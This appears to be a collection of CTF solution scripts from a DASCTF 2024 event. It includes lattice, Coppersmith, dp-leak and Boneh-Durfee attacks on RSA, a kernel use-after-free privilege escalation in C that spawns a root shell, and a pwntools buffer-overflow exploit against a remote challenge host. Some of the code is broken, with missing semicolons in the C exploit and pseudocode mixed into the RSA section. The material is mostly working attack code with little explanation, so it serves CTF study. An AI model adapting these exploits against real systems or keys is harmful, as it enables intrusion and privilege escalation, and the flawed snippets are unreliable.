2024_10

from sage.all import * 
from Crypto.Util.number import getPrime, bytes_to_long 
from random import randint 
from itertools import product, combinations 
 
n = 10762816985859495139869192967586986169700585407650401758492914432007691215829829791170341055156952976765180258893167491520857418187717684546804091210840024146052291097940830614742073364552838290223328178129141450654974155663740167060363586046667418448000998787456156206763022665332848878718353207304752459866785987037244104966604168107428925002453961599326527075890562706405965932261029119740876890925151892381057306445871753182344654732310415856215026583156200205190290229513783502698870703593936084079889610093661632981253566737244298490483887491349685327054110713416608442026862452848911878315454050801737258113439 
c = 8447423691845267507910623881220381551666985692061130076228863364484545883136565538153853576456124232843440600389531458361591643000579120508101213567369995084232851488318213585166763995128971205060742692924173515480605390369108788114163397502997675308466114417550035850225404358223296655286051772334268473129000095354558509683438282602907669640723660576086897314122077227840018348574919569323961412521005657567879672836500813700075919902705930777791052105528663343979204155473143542923352804010273593743826083253263605472374027833649945128024719518687833938452374975314769405521418020888003402906733694105525873475248 

hints = [1037185901048299733994080148617255395054343048856247908410601987778479809878530408488320575174117338778636437390189707472850545495340030261432470823966833296599326227471363743571435638488350843501335163114522221236295887873384511904404076136719828753484908833522690485308801343692672087896916151728355339557063865979845334871596911380941183991996355328789626661832721727696996294542137065146082233136253,846732177805839592702453549495036743295384625187602625155533672143689218095451041579929817175558384214705957953439776505091441694232911111216302515231684660931114920885206001996415471667166302864276782382471749478878838743894218008585118570123564743506751263851346701898521514512630773037841739309871594639329517489797555801372814456505858967177535379362107863024397586339230559713504606369217391562005,1037185901048299733994080148617255395054343048856247908410601987778479809878530408488320575174117338778636437390189707472850545495340030261432470823966833296599326227471363743571435638488350843501335163114522221236295887873384511904404076136719828753484908833522690485308801343692672087896916151728355339557063865979845334871596911380941183991996355328789626661832721727696996294542137065146082233136253] 

# ==========================================
h1, h2, h3 = hints 
L = matrix(hints).T.augment(matrix.identity(3)) 
L[:, 0] *= n 
 
L = L.LLL() 
for v in L: 
    print(v) 
    print([x.bit_length() for x in v]) 
 
_, t, u, v = L[0] 

a1s, a2s, a3s, b1s, b2s, b3s = QQ["a1,a2,a3,b1,b2,b3"].gens() 
for sign in product((-1, 1), repeat=3): 
    I = ideal( 
        [ 
            a3s * b2s - a2s * b3s + sign[0] * t, 
            a3s * b1s - a1s * b3s + sign[1] * u, 
            a2s * b1s - a1s * b2s + sign[2] * v, 
        ] 
    ) 
    if I.dimension() != -1: 
        print(sign) 
        print("dim", I.dimension()) 
 
        def step2(f): 
            # this f is in the form of k1*a1+k2*a2+k3*a3==0
            # for some reason, k1*b1+k2*b2+k3*b3==0 also holds
            # use LLL to find it
            print("=" * 40) 
            print(f) 
            L = matrix(f.coefficients()).T.augment(matrix.identity(3)) 
            L[:, 0] *= n 
            L = L.LLL() 
            print(L[0]) 
            print(L[1]) 
            v1 = L[0] 
            v2 = L[1] 
            xs = [] 
            for c1, c2 in product((-2, -1, 0, 1, 2), repeat=2): 
                v = c1 * v1 + c2 * v2 
                _, x1, x2, x3 = v 
                if all([0 <= x <= 2**312 for x in (x1, x2, x3)]): 
                    xs.append((x1, x2, x3)) 
             # we don't know which one is correct pair of (a1, a2, a3) and (b1, b2, b3)
            # just try all combinations
            for g1, g2 in combinations(xs, 2): 
                a1r, a2r, a3r = g1 
                b1r, b2r, b3r = g2 
                q = gcd(a2r * h1 - a1r * h2, n) 
                if 1 < q < n: 
                    p = n // q 
                    e = 0x10001 
                    d = inverse_mod(e, (p - 1) * (q - 1)) 
                    m = pow(c, d, n) 
                    flag = int(m).to_bytes(1024, "big").strip(b"\x00") 
                    print(flag) 
                    exit() 
 
        step2(I.groebner_basis()[1]) 
# DASCTF{0rtho_l4tt1c3_1s_fun_and_gr34t}

flag*2^1040+777p +666 mod n

from Crypto.Util.number import *


c=  1193333119181381225632504634109476125461718042032463066180160159530821008151288619914035008577444580123023483451618973104785206841878926362053767758825420307104536873166791566346076985369125399199847240472385775854381103486198612767122009780041785220241663307760491699892303259600093817957324293717178123893664313547870460181936283477289029428950611459484805364390503487619676794166358047636359524103138509752217552291498141048509236471615548177017684230320627457
e = 3
n = 1345974903151028106176188777499919289689885052993818155551239513162986365479059645712347472719763678799888312063629534224676532524320490059299999431455806985776161385636341889882617880557005343019148419971407438285456200388681742721058826527478752200546957229924712840178042652788689761602760552457535667154424045780264689394678280189407534443469304768432295723527834457536647823320807747766083091825227699222804959851169910812454526260545186908048603618547346519
# pad_length = 130 1040
R.<x> = PolynomialRing(Zmod(n))
# pad = long_to_bytes(777*p+666)
    # m = bytes_to_long(m+pad)  低位填充 高位m不变
f = (x*2^1040 + 666)^3 - c
f = f.monic()
ans = f.small_roots(X=256^20,beta=0.4)

m = int(ans[0])
print(m)
# 458155254755585178780244660112014285664403156596

print(long_to_bytes(m))
# P@dding_1s_important

p1 = gmpy2.invert(p,q)
q1 = gmpy2.invert(q,p)

q * p1 == 1 + k1 * p 
p * q1 == 1 + k2 * q 

phi(n) = (p1 - 1) * (q1 - 1) + 
         (p1 - 1) * k1 +
         (q1 - 1) * k2 + k1 * k2

p = x + k2 和 q = y + k1

(x - 1) * k1 ** 2 + (x * y - 1 - phi(n) + (x - 1) * (y - 1)) * k1 + (y - 1) * (x * y - 1) = 0

from Crypto.Util.number import *
import gmpy2
import sympy

K = 3995906172915513953882445609459153360257793100017419734812726991957587919349807133880917342081892953635338598486012480314014321088548439223094566668968735207492741920107799674089668131177188073985125603237341660194741854181484934968528811686828555591685803851909027192343245722679639249600176791158349393704697742640442010893811830528349203606514981272974154582682489532205008927740716725904614810707240205595586894383039181983075907373556864396176123489201513001026708388504250801785422323131912494763394371589512367935031912074535458595633402462463667072692589863355712935552396330534658448628449816139943205511637
dp = 53589538487289875479012684116246778147274714450209576105277816626983528993595125486641833027290704077932308918237978477501981907543847383655230156916578979044682282870153618849419762148348930652564442177633668690473147864322377146889467662769284463217004314651469157455678363085510100707437896627192687923547
e = 65537
p1 = 2636020992576559969055483957060200941734026828135579110378070592732862908176025649071069827089999996350015210043636523971348821850565913816154887832272305
q1 = 7886513101716991094728039196608717849158915101115291363845210343608904418304571443491051842715241903123031976527174063528298034452215971449949398656913945
phi = 115505961171763309547793530782914001823768056515083869218337105172209622283311582473506324170565971054492347897941697574972266679462737991988159654350224823122310342866537098903019067348499259894857405865405379172014292034138593409888061494667098647947191077373457924105640280156013690526621147715122416478264

def get_pq(n,e,dp):
    for i in range(1,e):
        t = (dp * e - 1) % i        
        if t == 0:
            p = (dp * e - 1) // i + 1
            if n % p == 0:
                q = n // p
                return p,q

def solve(a, b, c):
    D = b**2 - 4 * a * c
    x1 = (-b + gmpy2.isqrt(D)) // (2 * a)
    x2 = (-b - gmpy2.isqrt(D)) // (2 * a)
    return x1, x2

P,Q = get_pq(K,e,dp)
print(P,Q)
P =89706459192396530593549443920371512846107199328839237547229758327568121878195799315931797683572600269608687634404290962684155916188631860811034680949192525086238991914925741833782609688548028611711472171734508568556069872649373734405124829887118997365400928949792704456407061927794321219467125520582544212039
Q = 44544241394539455087080003827042433390596610554187086515097380871947145536991877216409262767617552724165444473076549560658417398194657348107209262950353565993877966067642602951964287850776064487853037993132356275513691026700801254797314898063932907251598380047383415220014112316421578570998223070668797351683
phi_K=(P-1)*(Q-1)

phi_n = phi_K
def fun(x,y):
    # 万能求根根公式
    a = x - 1
    b = x * y - 1 + (x - 1) * (y - 1) - phi
    c = (y - 1) * (x * y - 1)
    
    k1, k2 = solve(a, b, c)
    if (x * y - 1) % k1 == 0:
        k2 = (x * y - 1) // k1
    elif (x * y - 1) % k2 == 0:
        k1, k2 = k2, (x * y - 1) // k2
    else:
        assert False
    p, q = x + k2, y + k1
    # N = p * q
    return p,q
p,q = fun(p1,q1)
N = p*q
d1 = inverse(p,phi)
m1 = pow(Q,d1,N)
print(long_to_bytes(m1))
# DASCTF{this_1s_crazy_Rsa}

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>  
#include <sys/wait.h>
#include <sys/stat.h>


int main()
{
    char cred[0xa8] = {0};

    int fd1 = open("/dev/test", O_RDWR);  
    int fd2 = open("/dev/test", O_RDWR);  
    ioctl(fd1, 0, 0xa8)
    close(fd1);
    int pid = fork();
    
    if (pid < 0) {
        exit(1);
    }


    write(fd2, cred, 28)
    // 检查是否为 root 用户
    if (pid == 0) {
        if (getuid() == 0) {
            puts("[*]welcome root:\n");
            system("/bin/sh");
        } else {
            puts("[-]Not root");
        }
    } else {
        wait(NULL);
    }

    // 关闭第二个设备
    close(fd2);

    return 0;
}

time.clock = time.time
 
debug = True
 
strict = False
 
helpful_only = True
dimension_min = 7 # 如果晶格达到该尺寸，则停止移除
# 显示有用矢量的统计数据
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii,ii] >= modulus:
            nothelpful += 1
 

# 显示带有 0 和 X 的矩阵
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii,jj] == 0 else 'X'
            if BB.dimensions()[0] < 60: 
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        #print (a)

# 尝试删除无用的向量
# 从当前 = n-1（最后一个向量）开始
def remove_unhelpful(BB, monomials, bound, current):
    # 我们从当前 = n-1（最后一个向量）开始
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB
 
    # 开始从后面检查
    for ii in range(current, -1, -1):
        #  如果它没有用
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
             # 让我们检查它是否影响其他向量
            for jj in range(ii + 1, BB.dimensions()[0]):
                # 如果另一个向量受到影响：
                # 我们增加计数
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj
 
            # 等级：0
            # 如果没有其他载体最终受到影响
            # 我们删除它
            if affected_vectors == 0:
                #print ("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii-1)
                return BB
 
           # 等级：1
            #如果只有一个受到影响，我们会检查
            # 如果它正在影响别的向量
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # 如果它影响哪怕一个向量
                    # 我们放弃这个
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # 如果没有其他向量受到影响，则将其删除，并且
                # 这个有用的向量不够有用
                #与我们无用的相比
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
                    #print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii-1)
                    return BB
    # nothing happened
    return BB
 
""" 
Returns:
* 0,0   if it fails
* -1，-1 如果 "strict=true"，并且行列式不受约束
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
    """
    Boneh and Durfee revisited by Herrmann and May
 
 在以下情况下找到解决方案：
* d < N^delta
* |x|< e^delta
* |y|< e^0.5
每当 delta < 1 - sqrt（2）/2 ~ 0.292
    """
 
    # substitution (Herrman and May)
    PR.<u, x, y> = PolynomialRing(ZZ)   #多项式环
    Q = PR.quotient(x*y + 1 - u)        #  u = xy + 1
    polZ = Q(pol).lift()
 
    UU = XX*YY + 1
 
    # x-移位
    gg = []
    for kk in range(mm + 1):
        for ii in range(mm - kk + 1):
            xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
            gg.append(xshift)
    gg.sort()
 
    # 单项式 x 移位列表
    monomials = []
    for polynomial in gg:
        for monomial in polynomial.monomials(): #对于多项式中的单项式。单项式（）：
            if monomial not in monomials:  # 如果单项不在单项中
                monomials.append(monomial)
    monomials.sort()
 
    # y-移位
    for jj in range(1, tt + 1):
        for kk in range(floor(mm/tt) * jj, mm + 1):
            yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
            yshift = Q(yshift).lift()
            gg.append(yshift) # substitution
 
    # 单项式 y 移位列表
    for jj in range(1, tt + 1):
        for kk in range(floor(mm/tt) * jj, mm + 1):
            monomials.append(u^kk * y^jj)
 
    # 构造格 B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0, 0)
        for jj in range(1, ii + 1):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)
 
    #约化格的原型
    if helpful_only:
        #  #自动删除
        BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
        # 重置维度
        nn = BB.dimensions()[0]
        if nn == 0:
            print ("failure")
            return 0,0
 
    # 检查向量是否有帮助
    if debug:
        helpful_vectors(BB, modulus^mm)
 
    # 检查行列式是否正确界定
    det = BB.det()
    bound = modulus^(mm*nn)
    if det >= bound:
        print ("We do not have det < bound. Solutions might not be found.")
        print ("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print ("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
 
    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus^mm)
 
    # LLL
    if debug:
        print ("optimizing basis of the lattice via LLL, this can take a long time")
 
    #BB = BB.BKZ(block_size=25)
    BB = BB.LLL()
 
    if debug:
        print ("LLL is done!")
 
    # 替换向量 i 和 j ->多项式 1 和 2
    if debug:
        print ("在格中寻找线性无关向量")
    found_polynomials = False
 
    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
 
            # 对于i and j, 构造两个多项式
 
            PR.<w,z> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
                pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)
 
            # 结果
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)
 
 
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print ("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break
 
    if not found_polynomials:
        print ("no independant vectors could be found. This should very rarely happen...")
        return 0, 0
 
    rr = rr(q, q)
 
    # solutions
    soly = rr.roots()
 
    if len(soly) == 0:
        print ("Your prediction (delta) is too small")
        return 0, 0
 
    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]
    return solx, soly
 
def example():

    #start_time =time.perf_counter
    start =time.clock()
    size=512
    length_N = 2*size
    ss=0
    s=70
    M=1   # the number of experiments
    delta = 299/1024
    # p =  random_prime(2^512,2^511)
    for i in range(M):

        N = 123789043095302886784777548580725867919630872720308267296330863659260260632444171595208750648710642616709290340791408935502415290984231140635423328808872594955139658822363033096014857287439409252367248420356169878044065798634016290690979979625051287064109800759113475629317869327100941592970373827299442569489
        e = 112070481298571389221611833986644006256566240788306316765530852688390558290807060037831460397016038678699757261874520899143918664293504728402666398893964929840011110057060969775245481057773655679041350091817099143204028098431544760662690479779286160425059494739419234859710815966582837874194763305328789592245
        c = 63662561509209168743977531923281040338804656992093161358503738280395090747786427812762995865224617853709000826994250614233562094619845247321880231488631212423212167167713869682181551433686816142488666533035193128298379649809096863305651271646535125466745409868274019550361728139482502448613835444108383177119
        hint1 = 897446442156802074692
        hint2 = 1069442646630079275131
 
        m = 7   # 格大小（越大越好/越慢）
        t = round(((1-2*delta) * m))  # 来自 Herrmann 和 May 的优化
        X = floor(N^delta)  # 
        Y = floor(N^(1/2)/2^s)    # 如果 p、 q 大小相同，则正确
        for l in range(int(hint1),int(hint1)+1):
            print('\n\n\n l=',l)
            pM=l;
            p0=pM*2^(size-s)+2^(size-s)-1;
            q0=N/p0;
            qM=int(q0/2^(size-s))
            A = N + 1-pM*2^(size-s)-qM*2^(size-s);
        #A = N+1
            P.<x,y> = PolynomialRing(ZZ)
            pol = 1 + x * (A + y)  #构建的方程
 
            # Checking bounds
            #if debug:
                #print ("=== 核对数据 ===")
                #print ("* delta:", delta)
                #print ("* delta < 0.292", delta < 0.292)
                #print ("* size of e:", ceil(log(e)/log(2)))  # e的bit数
                # print ("* size of N:", len(bin(N)))          # N的bit数
                #print ("* size of N:", ceil(log(N)/log(2)))  # N的bit数
                #print ("* m:", m, ", t:", t)
 
            # boneh_durfee
            if debug:
                ##print ("=== running algorithm ===")
                start_time = time.time()
 
 
            solx, soly = boneh_durfee(pol, e, m, t, X, Y)
 
 
            if solx > 0:
                #print ("=== solution found ===")
                if False:
                    print ("x:", solx)
                    print ("y:", soly)
 
                d_sol = int(pol(solx, soly) / e)
                ss=ss+1

                print ("=== solution found ===")
                print ("p的高比特为：",l)
                print ("q的高比特为：",qM)
                print ("d=",d_sol) 
 
            if debug:
                print("=== %s seconds ===" % (time.time() - start_time))
            #break
        print("ss=",ss)
                            #end=time.process_time
        end=time.clock()
        print('Running time: %s Seconds'%(end-start))
if __name__ == "__main__":
    example()  

from pwn import *
context.log_level = 'debug'
# r = process('./short')
r = remote('4vq5.dg05.ciihw.cn',43901)
r.sendafter("Enter your username:","admin\n")
r.sendafter("Enter your password:","admin123\n")
# print(r.recv(1024))
# print(r.recv(1024))
tmp = r.recvuntil('input this:').decode()
print(tmp)
tmp = r.recvuntil('plz input your msg:').decode()
tmp = tmp.split('\n')
print(tmp)
add = tmp[0].split()[0]
print(add)
stack_add = int(add[2:],16)
print(stack_add)
# print(r.recv(1024))

sh = 0x0804A038
plt_sys = 0x080484A0
read_add = 0x08048662
payload = 76*b'a' + 4*b'a' + p32(stack_add) + p32(read_add)
r.send(payload)
add_sys = 0x080485E6
payload = b'a'*76+ 2*b'sh\x00\x00'+p32(add_sys)+b'a'*4+p32(stack_add)
# payload = b'sh\x00\x00'*0x15+p32(add_sys)+b'a'*4+p32(stack_add)
r.send(payload)
r.interactive()